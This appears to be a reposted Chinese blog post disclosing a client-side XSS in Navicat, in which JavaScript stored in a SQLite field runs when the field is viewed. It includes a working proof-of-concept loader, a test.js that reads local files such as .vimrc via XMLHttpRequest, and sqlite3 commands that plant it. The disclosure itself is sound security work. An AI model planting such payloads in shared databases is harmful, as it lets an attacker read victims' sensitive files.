博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
看不见的攻击面:查看 SQLite 数据库就中招?
阅读量:6331 次
发布时间:2019-06-22

本文共 1035 字,大约阅读时间需要 3 分钟。

Navicat 客户端存在一个 XSS,在查看表字段时,没有对内容进行处理,导致一个 XSS 问题。利用这个漏洞可以读取敏感文件,比如 /Users/XXXX/.bash_history 。

漏洞发现

这两天在测试一个漏洞数据库,这个漏洞库集成了 packetstormsecurity、exploitdb 等知名来源的数据。当我们用 navicat 打开,查看某个字段的时候,奇怪的事情发生了,居然有 Javascript 弹窗提示?

7be3be554d294d0c98dc59b8ae070e49.png

通过搜索 prompt 关键词,很快定位到了问题

e1119c73e34c40238f8b6b7429a33773.png

所以,navicat 在渲染数据库字段时,莫名其妙的执行了代码中的 Javascript。

漏洞测试

为了方便调试客户端 XSS,我们编写一个最小的 “requirejs” 利用代码。这段代码会远程加载 127.0.0.1/test.js 并执行

http://localhost/x#

下面编写 test.js,以读取沙箱外面的文件为例(注意替换 Users/USERNAME/.vimrc 为你要读取的文件)

function reqListener () {  prompt(this.responseText);}var oReq = new XMLHttpRequest();oReq.addEventListener("load", reqListener);oReq.open("GET", "file:///Users/USERNAME/.vimrc");oReq.send();

然后来创建 SQLite 数据库,并用 Navicat 打开

%> sqlite3 test.dbSQLite version 3.19.3 2017-06-27 16:48:08 Enter ".help" for usage hints. sqlite> create table test(id text); sqlite> insert into test values('http://localhost/x#

经过测试,利用这个漏洞读取用户文件、内网代理、访问开发机上的 redis 等等都是可以的,具有一定的危害

c4164a5675dd4119abcce63176571a18.png

测试环境下载

笔者制作了一个最小的测试库 “navicat-clientxss-test.db”,在这里下载:

 

 

转自:http://www.3xmq.com/article/1514942883329?r=woshipm&from=timeline

转载地址:http://wpfoa.baihongyu.com/

你可能感兴趣的文章
awesome go library 库,推荐使用的golang库
查看>>
树形展示形式的论坛
查看>>
jdbcTemplate 调用存储过程。 入参 array 返回 cursor
查看>>
C++中的stack类、QT中的QStack类
查看>>
Linux常用基本命令[cp]
查看>>
CSS 相对|绝对(relative/absolute)定位系列(一)
查看>>
关于 Nginx 配置 WebSocket 400 问题
查看>>
Glide和Govendor安装和使用
查看>>
Java全角、半角字符的关系以及转换
查看>>
Dubbo和Zookeeper
查看>>
前端项目课程3 jquery1.8.3到1.11.1有了哪些新改变
查看>>
UOJ#179. 线性规划(线性规划)
查看>>
整合spring cloud云架构 - SSO单点登录之OAuth2.0登录认证(1)
查看>>
Isolation Forest原理总结
查看>>
windows的服务中的登录身份本地系统账户、本地服务账户和网络服务账户修改
查看>>
JAVA中循环删除list中元素的方法总结
查看>>
redis 安装
查看>>
SQL some any all
查看>>
电子书下载:Programming Windows Identity Foundation
查看>>
有理想的程序员必须知道的15件事
查看>>